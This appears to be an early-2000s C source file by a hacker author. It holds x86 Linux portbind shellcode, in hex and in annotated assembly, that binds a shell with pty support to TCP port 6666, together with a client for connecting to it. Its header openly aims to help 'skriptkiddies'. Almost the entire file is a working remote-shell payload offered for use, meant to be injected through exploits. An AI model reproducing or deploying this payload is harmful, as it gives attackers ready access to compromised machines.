/* * Next generation shellcode: portbind with terminal support on port 6666 * ... working to make life easier for skriptkiddies ... * * assumes a /dev/pts/0-9 is free * uses select() * uses UNIX 98 pty's * works as non root too * * by sorbo (sorbox@yahoo.com) * http://www.darkircop.org * * shellcode size can be reduced by taking away * setsockopt(), close() and exit(), although it will be less clean * * Demo: * * # su nobody -c "./sorshell -s" & * [1] 909 * Portbinding shellcode (with terminal support by sorbo (sorbox@yahoo.com) * Launching hex code len=391 * # ./sorshell -c 127.0.0.1 * Portbinding shellcode (with terminal support by sorbo (sorbox@yahoo.com) * Client mode... attempting to connect * sh-2.05$ export TERM=vt100 * sh-2.05$ uname -a * Linux sorbo 2.4.17 #1 Mon Jan 21 11:30:22 CET 2002 i686 unknown * sh-2.05$ id * uid=99(nobody) gid=99(nogroup) groups=99(nogroup),98(nobody) * sh-2.05$ exit * exit * [1]+ Exit 5 su nobody -c "./sorshell -s" * # * * * have fun */ #include #include #include #include #include #include #include #include #include #include char shellcode[] = "\x31\xc0\xb0\x06\x50\xb0\x01\x50\x89\xc3\x40\x50\xb0\x66\x89\xe1" "\xcd\x80\x89\xc2\xb0\x01\x89\xe1\xb0\x04\x50\x51\xb0\x02\x50\x48" "\x50\x52\x89\xe1\xb0\x66\xb3\x0e\xcd\x80\x31\xdb\x53\x66\xb9\x1a" "\x0a\xc1\xe1\x10\xb1\x02\x51\x89\xe1\x6a\x10\x51\x52\x89\xe1\xb0" "\x66\xb3\x02\xcd\x80\x6a\x01\x52\x89\xe1\xb0\x66\xb3\x04\xcd\x80" "\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x43\xcd\x80\x89\xc7\x31\xd2" "\x52\x68\x70\x74\x6d\x78\x68\x64\x65\x76\x2f\x68\x2f\x2f\x2f\x2f" "\x31\xc9\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89\xc6\x52\x89\xe2\xb9" "\x31\x54\x04\x40\x89\xf3\xb0\x36\xcd\x80\x89\xe2\xb9\x30\x54\x04" "\x80\xb0\x36\xcd\x80\x59\x83\xc1\x30\xc1\xe1\x18\xba\x01\x74\x73" "\x2f\xc1\xea\x08\x01\xca\x31\xc9\x51\x52\x31\xd2\x68\x65\x76\x2f" "\x70\x68\x2f\x2f\x2f\x64\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89\xc2" "\xb0\x02\xcd\x80\x31\xc9\x39\xc8\x75\x40\xb0\x42\xcd\x80\xb1\x03" "\x31\xc0\x89\xd3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x89\xd3\xb0\x06" "\xcd\x80\x89\xf3\xb0\x06\xcd\x80\x89\xfb\xb0\x06\xcd\x80\x50\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x89\xd3\x31\xc0\xb0\x06" "\xcd\x80\x83\xec\x50\x31\xc0\x31\xdb\x31\xc9\x89\xf9\x43\xd3\xe3" "\x09\xd8\x89\xf1\x31\xdb\x43\xd3\xe3\x09\xd8\x50\x89\xda\x89\xcb" "\x43\x89\xe1\x52\x57\x56\x31\xff\x31\xf6\x31\xd2\xb0\x8e\xcd\x80" "\x5e\x5f\x5b\x58\x21\xd8\x31\xdb\x39\xc3\x75\x1b\xb2\x50\x89\xe1" "\x89\xfb\x31\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c\x25\x89\xc2\x89" "\xf3\xb0\x04\xcd\x80\xeb\xae\xb2\x50\x89\xe1\x89\xf3\x31\xc0\xb0" "\x03\xcd\x80\x83\xf8\x01\x7c\x0a\x89\xc2\x89\xfb\xb0\x04\xcd\x80" "\xeb\x93\x31\xc0\x40\xcd\x80"; void shellc0de() { __asm__(" /* fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); */ xor %eax,%eax movb $0x6,%al # IPPROTO_TCP push %eax movb $0x1,%al # SOCK_STREAM push %eax mov %eax,%ebx # socket() index inc %eax # AF_INET push %eax movb $0x66,%al # socket() syscall mov %esp,%ecx int $0x80 movl %eax,%edx # save fd /* setsockopt(fd,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one)) */ movb $0x1,%al # one movl %esp,%ecx # &one movb $0x4,%al # sizeof(one) push %eax push %ecx # &one movb $0x2,%al # SO_REUSEADDR push %eax dec %eax # SOL_SOCKET push %eax push %edx # fd mov %esp,%ecx movb $0x66,%al # socket() syscall movb $0xe,%bl # setsockopt() index int $0x80 /* bind(fd, (struct sockaddr)&s_in, sizeof(s_in) ) */ xor %ebx,%ebx push %ebx # sin_addr movw $0x0a1a,%cx # port shl $0x10,%ecx movb $0x2,%cl # AF_INET push %ecx mov %esp,%ecx push $0x10 # sizeof(s_in) push %ecx # &s_in push %edx # fd mov %esp,%ecx movb $0x66,%al # socket() syscall movb $0x2,%bl # bind() index int $0x80 /* listen(fd,1) */ push $0x1 # 1 push %edx # fd mov %esp,%ecx movb $0x66,%al # socket() syscall movb $0x4,%bl # listen() index int $0x80 /* cli = accept(fd, 0, 0) */ xorl %eax,%eax push %eax push %eax push %edx mov %esp,%ecx movb $0x66,%al # socket() syscall inc %ebx # accept() index (5) int $0x80 movl %eax,%edi # %edi = cli /* master = open(/dev/ptmx,O_RDWR); */ xor %edx,%edx # mode push %edx push $0x786d7470 push $0x2f766564 push $0x2f2f2f2f xor %ecx,%ecx movb $0x2,%cl # flags movl %esp,%ebx # path movb $0x5,%al # open syscall int $0x80 movl %eax,%esi # %esi = master /* ioctl (master, TIOCSPTLCK, &zero); * which is equivalent to unlockpt(master); */ push %edx # zero movl %esp,%edx # &zero mov $0x40045431,%ecx # TIOCSPTLCK mov %esi,%ebx # master movb $0x36,%al # ioctl syscall num int $0x80 /* ioctl (master, TIOCGPTN, &term); * which is equivalent to term = ptsname(master); */ movl %esp,%edx # &term mov $0x80045430,%ecx # TIOCGPTN movb $0x36,%al # ioctl syscall num int $0x80 /* slave = open(/dev/pts/termnum,O_RDWR); */ pop %ecx # get result add $0x30,%ecx # convert num to char (only 0-9) shl $0x18,%ecx mov $0x2f737401,%edx shr $0x8,%edx add %ecx,%edx xor %ecx,%ecx push %ecx push %edx xor %edx,%edx # mode push $0x702f7665 push $0x642f2f2f movb $0x2,%cl # flags movl %esp,%ebx # path movb $0x5,%al # open syscall int $0x80 movl %eax,%edx # %edx = slave (can put in ebx so no move required??) /* pid = fork() */ movb $0x2,%al # fork syscall int $0x80 /* if(pid !=0) goto parent */ xor %ecx,%ecx cmp %ecx,%eax jne parent /* child */ /* setsid() */ movb $0x42,%al # setsid syscall int $0x80 /* for(int i = 2; i > -1; i--) dup(slave,i); */ movb $0x3,%cl xor %eax,%eax mov %edx,%ebx # slave dup: movb $0x3f,%al # dup dec %ecx int $0x80 inc %ecx loop dup /* close(slave) */ mov %edx,%ebx # slave movb $0x6,%al # close syscall int $0x80 /* close(master) */ mov %esi,%ebx # master movb $0x6,%al # close syscall int $0x80 /* close(cli) */ mov %edi,%ebx # cli movb $0x6,%al # close syscall int $0x80 /* execve(/bin/sh,[/bin/sh,0],0) */ push %eax # should be zero push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx xor %edx,%edx mov $0xb,%al int $0x80 /* exit(0); */ xor %eax,%eax inc %eax int $0x80 parent: /* close(slave) */ mov %edx,%ebx # slave xor %eax,%eax movb $0x6,%al # close syscall int $0x80 /* select(1,&rfs,NULL,NULL,NULL) * assumes fd's < 32 */ sub $0x50,%esp # allocate space for read (used later) lewp: /* FD_SET(fd,&rfs) */ xor %eax,%eax xor %ebx,%ebx xor %ecx,%ecx movl %edi,%ecx # shift amount (fd:socket) inc %ebx shl %cl,%ebx or %ebx,%eax # rfs /* FD_SET(master,&rfs) */ movl %esi,%ecx # fd:master xor %ebx,%ebx inc %ebx shl %cl,%ebx or %ebx,%eax # rfs push %eax movl %ebx,%edx movl %ecx,%ebx # max fd +1 inc %ebx movl %esp,%ecx # &rfs push %edx # use it later for FD_ISSET push %edi # cli push %esi # master xor %edi,%edi # timeout xor %esi,%esi # error fd xor %edx,%edx # write fd movb $0x8e,%al # select syscall int $0x80 pop %esi # master pop %edi # cli pop %ebx pop %eax # result /* if(FD_ISSET(master,&rfs)) goto fdfound */ and %ebx,%eax # eax != 0 if fd was present xor %ebx,%ebx cmp %eax,%ebx jne fdfound /* cli */ /* rd = read(fd,buff,sizeof(buff)) */ movb $0x50,%dl # len mov %esp,%ecx # buff mov %edi,%ebx # fd xor %eax,%eax movb $0x3,%al # read syscall int $0x80 /* if( rd < 1) goto end */ cmpl $0x1,%eax jl end /* write(fd,buff,sizeof(buff)) */ mov %eax,%edx # len mov %esi,%ebx # fd movb $0x4,%al # write syscall int $0x80 jmp lewp fdfound: /* master */ /* read(fd,buff,sizeof(buff)) */ movb $0x50,%dl # len mov %esp,%ecx # buff mov %esi,%ebx # fd xor %eax,%eax movb $0x3,%al # read syscall int $0x80 /* if( rd < 1) goto end */ cmpl $0x1,%eax jl end /* write(fd,buff,sizeof(buff)) */ mov %eax,%edx # len mov %edi,%ebx # fd movb $0x4,%al # write syscall int $0x80 jmp lewp end: /* exit(0); */ xor %eax,%eax inc %eax int $0x80 "); } void client(int s, char *cmd) { unsigned char buff[1024]; int rd; struct termios deftt,tt; if(cmd) send(s,cmd,strlen(cmd),0); /* terminal init */ tcgetattr(0, &deftt); memcpy(&tt,&deftt,sizeof(struct termios)); tt = deftt; tt.c_oflag &= ~(OPOST); tt.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); tt.c_iflag &= ~(ICRNL); tt.c_cc[VMIN] = 1; tt.c_cc[VTIME] = 0; tcsetattr(0, TCSADRAIN, &tt); /* LOD (loop of death) */ while(1) { fd_set fdr; FD_ZERO(&fdr); FD_SET(s,&fdr); FD_SET(0,&fdr); if( select(s+1,&fdr,NULL,NULL,NULL) < 1) break; /* socket */ if( FD_ISSET(s,&fdr)) { if( (rd = recv(s,buff,1024,0)) < 1) break; write(1,buff,rd); } /* stdin */ if( FD_ISSET(0,&fdr)) { if((rd = read(0,buff,8)) < 1 ) break; send(s,buff,rd,0); } } close(s); tcsetattr(0, TCSADRAIN, &deftt); } void usage(char *p) { printf("Usage: %s \n",p); printf("-h\t\tthis lame message\n"); printf("-a\t\tLaunch asm code\n"); printf("-s\t\tLaunch hex code\n"); printf("-c\t\t connect to ip\n"); exit(0); } int main(int argc, char *argv[]) { int opt; void (*sc)() = (void(*)()) &shellcode; printf("Portbinding shellcode (with terminal support by sorbo (sorbox@yahoo.com)\n"); if(argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv,"ahsc:")) != EOF) { switch(opt) { case 'a': printf("Launching asm code\n"); shellc0de(); break; case 's': printf("Launching hex code len=%d\n",strlen(shellcode)); (*sc)(); break; case 'c': { int s; struct sockaddr_in s_in; printf("Client mode... attempting to connect\n"); s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); if(s < 0) { perror("socket()"); exit(0); } s_in.sin_family = PF_INET; s_in.sin_port = htons(6666); if(!inet_aton(optarg,&s_in.sin_addr)) { printf("Invalid id %s\n",optarg); exit(0); } if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0) { perror("connect()"); exit(0); } client(s,"export TERM=vt100\nuname -a\nid\n"); break; } case 'h': default: usage(argv[0]); break; } } exit(0); }